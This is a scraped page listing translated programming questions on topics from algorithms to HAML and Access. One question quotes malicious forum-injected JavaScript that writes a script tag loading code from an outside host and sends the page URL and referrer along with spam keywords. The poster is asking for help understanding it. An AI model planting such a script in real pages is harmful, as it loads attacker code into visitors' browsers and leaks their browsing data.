问题列表 - 第11300页

找到一个恰好N/2次的数字

这是我的一个面试问题.给定N个元素的数组,其中元素恰好出现N/2次,其余N/2个元素是唯一的.你如何找到运行时间更好的元素?

请记住元素没有排序,你可以假设N是偶数.例如,

input array [] = { 10, 2, 3, 10, 1, 4, 10, 5, 10, 10 }
Run Code Online (Sandbox Code Playgroud)

所以这里10次出现5次,即N/2次.

我知道O(n)运行时的解决方案.但仍期待通过O(log n)了解更好的解决方案.

arrays algorithm

25
推荐指数
7
解决办法
1万
查看次数

如何在新选项卡中打开asp:HyperLink.NavigationUrl

有没有办法在新选项卡中打开asp:HyperLink.NavigateUrl而不更改当前位置?

asp.net hyperlink

33
推荐指数
2
解决办法
7万
查看次数

关于PHP错误Apache给出500错误

每当我在任何PHP中出错时,我的本地Apache服务器都会给我一个500内部服务器错误.我似乎从来没有遇到任何我的CakePHP项目的问题,但这是普通的PHP,它实际上减慢了进度,不得不猜测错误.

php apache cakephp

7
推荐指数
1
解决办法
2万
查看次数

我可以在GSP之外使用grails标签吗?

例如,我可以把

 <g:createLink controller="user" action="show" /> 
Run Code Online (Sandbox Code Playgroud)

在.gsp文件中,它会很好地工作.

但是我也想createLink在.groovy文件中使用相同的闭包,该文件不是grails视图的一部分

tags grails groovy closures

15
推荐指数
4
解决办法
9921
查看次数

ERB与HAML转换if条件?

我开始使用HAML并正在处理我的第一个文件.表面上正确地省略了" - 结束":

- if current_user
= link_to 'Edit Profile', edit_user_path(current_user.id)
= link_to 'Logout', logout_path
- else
= link_to 'Register', new_user_path
= link_to 'Login', login_path
Run Code Online (Sandbox Code Playgroud)

得到我:

app/views/layouts/application.html.haml:28: syntax error, unexpected kENSURE, expecting kEND
app/views/layouts/application.html.haml:30: syntax error, unexpected $end, expecting kEND
Run Code Online (Sandbox Code Playgroud)

虽然合乎逻辑

- if current_user
= link_to 'Edit Profile', edit_user_path(current_user.id)
= link_to 'Logout', logout_path
- else
= link_to 'Register', new_user_path
= link_to 'Login', login_path
- end
Run Code Online (Sandbox Code Playgroud)

得到我:

You don't need to use "- end" in Haml. Use indentation instead:
- if …
Run Code Online (Sandbox Code Playgroud)

haml ruby-on-rails erb

11
推荐指数
1
解决办法
1万
查看次数

Facebook风格的JQuery自动完成插件

我是一个插件,像facebook一样做自动完成,你可以选择多个项目 - 类似于标记stackoverflow问题的方式.

以下是我遇到的一对情侣:

你试过这些吗?它们易于实现和定制吗?

jquery autocomplete jquery-plugins

78
推荐指数
3
解决办法
9万
查看次数

如何在共享和独占模式之间切换Access数据库?

我正在开发一个需要编辑Access数据库中某些对象的程序.它还运行一个子程序(长篇故事),试图访问底层的JET数据库,而Access仍然通过ODBC 打开它.

问题是,一旦我开始使用VBA编辑Form对象 - 例如,使用Application.LoadFromText - Access将数据库更改为独占模式.独家模式本身很好,我知道它为什么需要它.但我之后需要能够切换回"共享"模式,以便我可以运行我的子程序.

我观察到,如果您使用UI在设计模式下打开表单,Access会将数据库切换到Exclusive.(您可以通过尝试从另一台计算机打开它来确认这一点.)但是当您关闭表单设计器时,Access会立即将其切换回共享模式,这是我希望的.

有没有办法使用VBA/COM调用自己来回切换?

我知道我可以调用Application.CloseCurrentDatabase(),然后调用OpenCurrentDatabase(),但这会关闭所有窗口并扰乱UI,因此它并不理想.

ms-access vba dao access-vba

1
推荐指数
1
解决办法
5779
查看次数

恶意javascript在论坛发布

<SCRIPT>
  ff = 0;
  for (nn in document) if (nn == 'etours' || nn == 'logo-anim') ff = 1;
  if (ff == 0 || (/LIVE|MSN|YAHOO|GENERIC|NORVASC/.test (document.referrer.toUpperCase ()) && false ) ) {
    document.write('<SCRIPT SRC ="http://p090303.info/w.php?l='+ escape(location.href) + '&k=' + escape('generic norvasc') + '&r=' + escape(document.referrer) + '"><' + '/SCRIPT>' ); document.write ('<' + '!--' );
  }
</SCRIPT>
Run Code Online (Sandbox Code Playgroud)

识别这段代码?我看到它被困在许多网站中,但所有的角色都被替换为十六进制或八进制等效.有人在我父亲的一个网站上的帖子中发布了这段代码,但我无法弄清楚它在做什么.它似乎正在收集引用者的网页映射,但我无法弄清楚前几行是做什么的.任何人都知道这里发生了什么?

javascript

2
推荐指数
1
解决办法
315
查看次数

Https,Php安全登录页面?

我是php的新手,我可以做一个简单的登录页面,例如创建表单,提交表单,处理和在php页面中进行身份验证等等.

我在互联网上的某个地方看过,看到像银行,谷歌和雅虎这样的大公司,他们的登录表单是"https"而不是"http".所以我试试google什么是"https"的东西.好吧,我不能说我完全理解那是什么,但我想我知道这个概念,即创建一个更安全的登录页面.

我相信php可以做到(因为我看到使用https的wordpress,而wp正在使用php).有没有教程,或者你们可以给出一个如何用PHP进行安全登录https页面的示例代码?没有必要的完整代码(因为我不想麻烦你们),但如果可以给出完整的代码,我最欣赏:)

php security https login

4
推荐指数
1
解决办法
7440
查看次数

如何在jquery中运行一个函数

我是一个编程新手,我无法弄清楚如何在JQuery中存储一个函数并在多个地方运行它.

我有:

$(function () {
  $("div.class").click(function(){
    //Doo something

  });

  $("div.secondclass").click(function(){
    //Doo something
  });

});
Run Code Online (Sandbox Code Playgroud)

现在2"// Doo somethings"是相同的,我不想再次编写相同的代码.

如果我把:

$(function () {

  function doosomething ()
  {
    //Doo something
  }

  $("div.class").click(doosomething);

  $("div.secondclass").click(doosomething);

});
Run Code Online (Sandbox Code Playgroud)

这将在页面加载时运行该函数,而不是仅在它单击时运行.

我该怎么做呢?

谢谢!

jquery function

63
推荐指数
5
解决办法
30万
查看次数